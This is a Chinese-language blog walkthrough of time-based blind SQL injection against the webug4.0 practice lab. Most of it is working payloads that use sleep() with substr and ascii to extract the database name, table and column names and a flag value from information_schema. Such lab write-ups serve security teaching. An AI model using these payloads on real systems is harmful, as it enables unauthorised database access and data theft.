webug4.0—延时注入

試著忘記壹切 提交于 2020-01-09 23:47:31

延时注入介绍:对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

探测sql注入

一、正常页面

1.加 ' 发现内容变了

2.加 ' and 1=1 %23 发现内容没变

3.加 ' and 1=2 %23 发现内容变了

4.发现注入点 且 并没有报错 不是显错注入

二、通过延时判断是否可以通过延时注入:

输入                                                                       输出
1' and if(length(database())>4,sleep(3),1) %23    延时3秒
1' and if(length(database())>10,sleep(3),1) %23    立即刷新
1' and if(length(database())>7,sleep(3),1) %23    立即刷新
1' and if(length(database())=5,sleep(3),1) %23    延时3秒
判断出来可以通过延时注入此注入点,并且数据库的长度为5

三、判断数据库名称:

1' and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23    延时3秒
1' and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23    立即刷新
...    ...
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1) %23    延时3秒
以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w

然后改动substr第二个参数,发现数据库名为webug

四、判断数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database())>6,sleep(5),1) #    延迟5秒
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(5),1) #    延迟5秒
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())>7,sleep(5),1) #    没有延迟

五、接着猜解表名长度:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #    没有延迟
…    
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #    延迟
说明第一个表名的长度为9个字符。

六、猜解表名

1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))>97,sleep(5),1) #

七、由表名猜字段名
先猜字段数:
1’ and if((select count(column_name) from information_schema.columns where table_name= “flag”)=1,sleep(5),1) #   
猜字段名
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))>97, sleep(5),0) #
八、用户名长

1’and if((select (length(substr((select flag from flag limit 0,1),1))=1) ,sleep(5),1) #

用户名

1’ and if(select ascii(substr((select flag from flag limit 0,1),1,1))>97,sleep(5),1) #

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!